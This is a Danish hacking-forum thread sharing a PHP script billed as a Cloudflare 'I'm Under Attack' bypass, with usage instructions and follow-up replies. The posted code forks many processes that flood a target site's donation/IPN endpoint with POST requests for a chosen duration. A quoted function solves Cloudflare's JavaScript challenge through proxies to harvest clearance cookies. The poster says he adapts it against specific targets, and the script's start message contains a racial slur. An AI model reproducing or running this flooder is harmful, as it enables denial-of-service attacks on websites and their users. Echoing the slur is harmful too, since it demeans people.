Shellsec

Fuld version: PHP | Cloudflare UAM Bypass + Instrukser
Du ser lige nu en skrabet udgave af vores indhold. Se den fulde version med ordentlig formatering.
Du executor scriptet på din server med PHP.
Eksempel: php var/tmp/cf.php http://site.com/ 0 150 86400
Hvis du har startet scriptet korrekt får du et echo med følgende tekst: "Starting the shit nigga"

Hints:
Hvis php ikke er installeret, installer det. yum, apt-get eller andet you know the drill.
chmod 777 filnavn.php
Resten er forklaret ovenover :)

Love to shellsec Love

Ser godt ud! Jeg har dog ikke prøvet det endnu.

Hvis man ikke ved hvad UAM står for, så er det en forkortelse for "I'm Under Attack" mode

Citer:"I'm Under Attack" will add additional protections to a site that is under attack and needs DDoS protection and mitigation. If you're under attack and have this feature enabled during the attack, visitors will receive an interstitial page for about five seconds while we analyze the traffic to make sure it is a legitimate human visitor.

Note: Visitors to the site must have JavaScript and Cookies enabled to pass the interstitial page.
Har opdateret tråden en lille smule med nogle hints der fremmer forståelsen af hvordan scriptet skal bruges Smile
(24-08-2015, 12:46)BigJ Skrev: [ -> ]De der variabler der, jeg kan umuligt være den eneste der tænker på følgende billede
[Billede: 5219ad31c856110fa7000023_736.jpg]

Har kun kigget det igennem meget kort, men ser fint ud. Virker dog lidt hacked together, ikke så meget orden etc. :) Men det kan selvfølgelig bare være fordi at jeg ikke ser det på siden, og det er lang tid siden jeg har kodet PHP. Ville se pænt ud i Python tror jeg, uden alt det curl. :)

Nu halter mit php også så det kunne også være mig der roder ;)
Funktionalitet er nummer 1 på min vigtigheds liste ;)
(24-08-2015, 13:02)BigJ Skrev: [ -> ]Hele koden koger ned til 51 linjer, i stedet for 289 linjer (minus kommentar i toppen). De funktioner der er defineret i starten, bliver jo slet ikke brugt. Derudover så bliver "argv[2]" heller ikke brugt. Helt ligegyldig i hele koden.
Så det vi har er i princippet (så vidt jeg kan se), et PHP script som spawner en masse child processes, som så laver noget er skal ligner en donation eller IPN (Instant Payment Notification) kald. Hvilket så vil bypass CloudFlare UAM, da de nok gerne vil have fx. PayPal IPN donationer igennem?

<?php
error_reporting(0);

if ($argc != 5) {
echo "You're not permitted to use this!";
die();
}

$end = time() + $argv[4];
$childcount = $argv[3];
echo "Starting the shit nigga\n";

for ($i = 0; $i < $childcount; $i++) {
$pid = pcntl_fork();
if ($pid == -1) {
echo "failed to fork on loop $i of forking\n";
exit;
} else if ($pid) {
continue;
} else {
while($end > time()) {
$fields = array(
'cause' => 'donation-for-august',
'amount' => 15,
'submit.x' => 76,
'submit.y' => 19
);
$postvars = '';
foreach ($fields as $key => $value) {
$postvars .= urlencode($key) . "=" . urlencode($value) . "&";
}


$manga = curl_init();
curl_setopt($manga, CURLOPT_URL, $argv[1] . "donation_can_ipn/start_donation");
curl_setopt($manga, CURLOPT_RETURNTRANSFER, true);
curl_setopt($manga, CURLOPT_POST, 1);
curl_setopt($manga, CURLOPT_POSTFIELDS, $postvars);
curl_setopt($manga, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($manga, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1");
curl_setopt($manga, CURLOPT_HEADER, 1);
curl_exec($manga);
curl_close($manga);
}
die;
}
}
for ($j = 0; $j < $childcount; $j++) {
$pid = pcntl_wait($status);
}
?>

De andre funktioner sender en formular og læser en cookie og så sender den jo også en IPN formular som du har forkortet den til.

cookien indeholder jo bagende details.

Eksempel kig nærmere på
PHP kode:
$tba = ($FINALLY $tlen);
        
preg_match("/jschl_vc\" value=\"(.*?)\"/"$data$cid);
        
$url "".$domain."cdn-cgi/l/chk_jschl?jschl_vc=$cid[1]&jschl_answer=$tba";
$check curl_init();
curl_setopt($checkCURLOPT_URL$url);
curl_setopt($checkCURLOPT_RETURNTRANSFERtrue);
curl_setopt($checkCURLOPT_FOLLOWLOCATIONtrue);
curl_setopt($checkCURLOPT_USERAGENT$useragent);
curl_setopt($checkCURLOPT_PROXY$proxy);
curl_setopt($checkCURLOPT_HEADER1);
curl_setopt($checkCURLOPT_COOKIEFILE"cookie.txt");
$data2 curl_exec($check);
preg_match_all('/^Set-Cookie:\s*([^\r\n]*)/mi'$data2$ms); 
(24-08-2015, 13:12)BigJ Skrev: [ -> ]Den funktion bliver ikke kaldt, så alt det der står deri er ligegyldigt. I hvert fald hvis du bruger det direkte som du har givet det.
EDIT: Ret mig meget gerne, hvis jeg har overset et funktions kald. :)

Jeg må have haft sat et funktions kald et eller andet sted, ellers skal man selv sætte funktionen til.

EDIT: Har det med at redigere scriptet til min fordel mod et specifikt mål. Men tænkte at jeg ville smide det op da jeg så kan begynde at genopfriske mit PHP.
Meningen var jo også lidt selv at folk skulle redigere i det selv.

Men det er også en beta version som roder i koden :)
(24-08-2015, 13:27)BigJ Skrev: [ -> ]Yes yes, det må folk jo selv, som jeg også lavet en edit til i min kommentar. Det er fedt at du gider at dele din kode i hvert fald ;) Kan være jeg selv får lyst til at bruge den, evt. ændre lidt i den :)

Det cool, så må du jo eventuelt dele lidt af koden hvis du skriver den i et andet sprog ;)